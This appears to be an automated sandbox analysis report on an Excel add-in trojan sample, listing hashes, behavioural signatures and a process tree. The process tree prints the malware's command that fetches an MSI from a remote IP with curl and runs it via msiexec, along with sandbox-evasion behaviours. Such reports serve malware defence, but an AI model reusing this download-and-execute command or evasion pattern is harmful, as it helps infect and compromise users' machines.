Analysis
- max time kernel
147s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20230915-en - resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system - submitted
26/09/2023, 07:37
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Trojan.Win64.Alien.caa.26298.27183.xll
Resource
win7-20230831-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Trojan.Win64.Alien.caa.26298.27183.xll
Resource
win10v2004-20230915-en
13 signatures
150 seconds
General
- Target SecuriteInfo.com.Trojan.Win64.Alien.caa.26298.27183.xll
- Size 12KB
- Sample230926-jftesafe31
- SHA256 4d867d0c40d7f033cd47678de337dcd6d1554b5e39e5d98848b42472e415823d
- MD5 ebab83b599c0158963f7e294fe0979ef
- SHA1 4f372277e2345370e3aec5fe5ad152cdf81279a9
- SHA512 7442e8a6089c1e988f2d36b01a1bc3e2944b1ba77bea53353e1607d17130b409123c3abfaa744e6bae253a8d8e227392e3546edf5a2574d58a646bc675909976
- SSDEEP 192:tU5z9i1jq2pJk+/qcJklyJOEq6LsBGQwrgAh:2z9ObJH/IwJO/10QwrgC
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3464 5004 cmd.exe 84 - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation cmd.exe - Loads dropped DLL 2 IoCs
pid Process 5004 EXCEL.EXE 5004 EXCEL.EXE - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE - Delays execution with timeout.exe 1 IoCs
pid Process 1384 timeout.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000_Classes\Local Settings cmd.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 5004 EXCEL.EXE - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeShutdownPrivilege 1752 msiexec.exe Token: SeIncreaseQuotaPrivilege 1752 msiexec.exe - Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 5004 EXCEL.EXE 5004 EXCEL.EXE 1752 msiexec.exe 1752 msiexec.exe - Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 5004 EXCEL.EXE 5004 EXCEL.EXE 5004 EXCEL.EXE 5004 EXCEL.EXE 5004 EXCEL.EXE 5004 EXCEL.EXE 5004 EXCEL.EXE 5004 EXCEL.EXE 5004 EXCEL.EXE 5004 EXCEL.EXE 5004 EXCEL.EXE 5004 EXCEL.EXE - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 5004 wrote to memory of 3464 5004 EXCEL.EXE 88 PID 5004 wrote to memory of 3464 5004 EXCEL.EXE 88 PID 3464 wrote to memory of 2272 3464 cmd.exe 91 PID 3464 wrote to memory of 2272 3464 cmd.exe 91 PID 3464 wrote to memory of 1384 3464 cmd.exe 92 PID 3464 wrote to memory of 1384 3464 cmd.exe 92 PID 3464 wrote to memory of 1752 3464 cmd.exe 96 PID 3464 wrote to memory of 1752 3464 cmd.exe 96
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Win64.Alien.caa.26298.27183.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5004 -
\??\c:\windows\system32\cmd.exec:\windows\system32\cmd.exe /c c^url -o c:\users\public\1.msi http://88.119.175.199/EtqXJWL/hqmN&&timeout 10&&c:\users\public\1.msi2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3464 -
C:\Windows\system32\curl.execurl -o c:\users\public\1.msi http://88.119.175.199/EtqXJWL/hqmN3⤵PID:2272
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C:\Windows\system32\timeout.exetimeout 103⤵
- Delays execution with timeout.exe
PID:1384
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C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\users\public\1.msi"3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1752
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Win64.Alien.caa.26298.27183.xll
- Size 12KB
- SHA256 4d867d0c40d7f033cd47678de337dcd6d1554b5e39e5d98848b42472e415823d
- MD5 ebab83b599c0158963f7e294fe0979ef
- SHA1 4f372277e2345370e3aec5fe5ad152cdf81279a9
- SHA512 7442e8a6089c1e988f2d36b01a1bc3e2944b1ba77bea53353e1607d17130b409123c3abfaa744e6bae253a8d8e227392e3546edf5a2574d58a646bc675909976
- SSDEEP 192:tU5z9i1jq2pJk+/qcJklyJOEq6LsBGQwrgAh:2z9ObJH/IwJO/10QwrgC
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Win64.Alien.caa.26298.27183.xll
- Size 12KB
- SHA256 4d867d0c40d7f033cd47678de337dcd6d1554b5e39e5d98848b42472e415823d
- MD5 ebab83b599c0158963f7e294fe0979ef
- SHA1 4f372277e2345370e3aec5fe5ad152cdf81279a9
- SHA512 7442e8a6089c1e988f2d36b01a1bc3e2944b1ba77bea53353e1607d17130b409123c3abfaa744e6bae253a8d8e227392e3546edf5a2574d58a646bc675909976
- SSDEEP 192:tU5z9i1jq2pJk+/qcJklyJOEq6LsBGQwrgAh:2z9ObJH/IwJO/10QwrgC
- MD5 SHA1 SHA512 SSDEEP